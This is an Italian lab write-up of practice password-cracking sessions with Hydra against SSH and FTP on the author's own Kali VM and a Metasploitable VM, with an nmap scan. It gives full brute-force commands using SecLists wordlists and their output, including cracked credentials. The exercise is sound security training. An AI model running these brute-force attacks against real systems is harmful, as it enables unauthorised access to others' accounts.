

Obiettivo: Fare pratica con il tool Hydra, facendo dei testing e le relative sessioni di cracking. Abilitando i servizi ssh e ftp.

Prima Fase

Nella prima fase della nostra sessione di cracking, simuleremo sulla nostra VM kali il nostro attacco. Per prima cosa andiamo quindi a creare un altro utente, dopo aver verificato che quest'ultimo sia connesso andiamo ad avviare il servizio ssh e le sue relative configurazioni (in questo caso le lasceremo senza modifiche).

```
(kali㉿kali)-[~]
$ sudo adduser test_user
[sudo] password for kali:
Adding user `test_user' ...
Adding new group `test_user' (1002) ...
Adding new user `test_user' (1002) with group `test_user (1002)' ...
Creating home directory `/home/test_user' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y
Adding new user `test_user' to supplemental / extra groups `users' ...
Adding user `test_user' to group `users' ...
```

```
(kali㉿kali)-[~]
$ sudo service ssh start

(kali㉿kali)-[~]
$ sudo nano /etc/ssh/ssh_config
```

```
(kali㉿kali)-[~]
$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:01+RIWMTPoXz07xFMwXs8JsVaVteKm03iWFz/Lie/+o.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(Message from Kali developers)

This is a minimal installation of Kali Linux, you likely
want to install supplementary tools. Learn how:
=> https://www.kali.org/docs/troubleshooting/common-minimum-setup/

(Run: "touch ~/.hushlogin" to hide this message)
(test_user㉿kali)-[~]
$
```

Dopodiché andremo ad usare il nostro tool Hydra, iniziando una sessione di cracking sul servizio ssh. In questo caso utilizzeremo lo stesso indirizzo ip del nostro kali visto che l'utente da noi creato si trova sulla nostra stessa macchina. Prima verificheremo direttamente inserendo l'user e la password che in questo caso già sappiamo e poi andremo ad utilizzare le liste di user e password scaricate precedentemente che troviamo nella directory Seclists.

```
(kali@kali)-[~]
└─$ hydra -l test_user -p testpass 192.168.50.100 -t4 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:05:19
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:05:20
```

```
(kali@kali)-[~]
└─$ hydra -V -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-100.txt 192.168.50.100 -t4 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:54:19
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545500 login tries (l:8295455/p:100), ~207386375 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456" - 1 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "password" - 2 of 829545500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345678" - 3 of 829545500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "qwerty" - 4 of 829545500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456789" - 5 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345" - 6 of 829545500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "1234" - 7 of 829545500 [child 2] (0/0)
```

```
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qazwsx" - 334 of 829545500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123qwe" - 335 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "killer" - 336 of 829545500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "trustno1" - 337 of 829545500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "jordan" - 338 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "jennifer" - 339 of 829545500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "zxcvbnm" - 340 of 829545500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "asdfgh" - 341 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "hunter" - 342 of 829545500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 343 of 829545500 [child 2] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "123456" - 401 of 829545500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "password" - 402 of 829545500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "12345678" - 403 of 829545500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "qwerty" - 404 of 829545500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "123456789" - 405 of 829545500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "12345" - 406 of 829545500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "1234" - 407 of 829545500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "111111" - 408 of 829545500 [child 2] (0/0)
```

Dopo di che andiamo a testare una sessione di cracking sul servizio ftp, che prima andremo ad installare (sudo apt install vsftpd) e poi ad avviare.

```
(kali@kali)-[~]
└─$ sudo service vsftpd start
[sudo] password for kali: million-user
(kali@kali)-[~]
└─$
```

```
(kali@kali)-[~]
└─$ hydra -V -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-100.txt 192.168.50.100 -t4 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 10:19:36
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545500 login tries (l:8295455/p:100), ~207386375 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456" - 1 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "password" - 2 of 829545500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345678" - 3 of 829545500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "qwerty" - 4 of 829545500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456789" - 5 of 829545500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345" - 6 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "1234" - 7 of 829545500 [child 1] (0/0)
```

```

[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "trustno1" - 337 of 829545500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "jordan" - 338 of 829545500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "jennifer" - 339 of 829545500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "zxcvbnm" - 340 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "asdfgh" - 341 of 829545500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "hunter" - 342 of 829545500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 343 of 829545500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "buster" - 344 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "soccer" - 345 of 829545500 [child 3] (0/0)
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "123456" - 401 of 829545500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "password" - 402 of 829545500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "12345678" - 403 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "qwerty" - 404 of 829545500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "123456789" - 405 of 829545500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "12345" - 406 of 829545500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "1234" - 407 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "111111" - 408 of 829545500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "1234567" - 409 of 829545500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "dragon" - 410 of 829545500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "123123" - 411 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "baseball" - 412 of 829545500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "abc123" - 413 of 829545500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "NULL" - pass "football" - 414 of 829545500 [child 2] (0/0)

```

Seconda fase

In questa ultima fase andremo a fare una sessione di cracking sulla VM Metasploitable, utilizzando sempre lo stesso comando di Hydra usato sul user di kali ma questa volta inserendo appunto l'ip di Meta 192.168.50.101 e sul servizio ftp.

```

(kali@kali)-[~]
└─$ hydra -V -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-100.txt 192.168.50.101 -t4 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 10:48:17
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 837840955 login tries (l:8295455/p:101), ~209460239 tries per task
[DATA] attacking ftp://192.168.50.101:21/

```

```

[ATTEMPT] target 192.168.50.101 - login "admin" - pass "taylor" - 202 of 837840955 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456" - 203 of 837840955 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 204 of 837840955 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345678" - 205 of 837840955 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "qwerty" - 206 of 837840955 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 207 of 837840955 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456789" - 208 of 837840955 [child 0] (0/0)
[21][ftp] host: 192.168.50.101 login: msfadmin password: msfadmin
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "123456" - 304 of 837840955 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "password" - 305 of 837840955 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "12345678" - 306 of 837840955 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "qwerty" - 307 of 837840955 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "msfadmin" - 308 of 837840955 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "123456789" - 309 of 837840955 [child 1] (0/0)

```

Abbiamo anche verifica con una scansione nmap che il servizio ftp sia effettivamente attivo.

```

└─$ sudo nmap -sV -sS -T5 192.168.50.101
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-01 10:37 EST
Nmap scan report for 192.168.50.101
Host is up (0.00065s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?       netkit-rsh rexecd
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath gmrregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (tcp #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc           VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8080/tcp  open  http         Apache/2.4.18 (Ubuntu)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:D9:D6:ED (Oracle VM VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.34 seconds

```

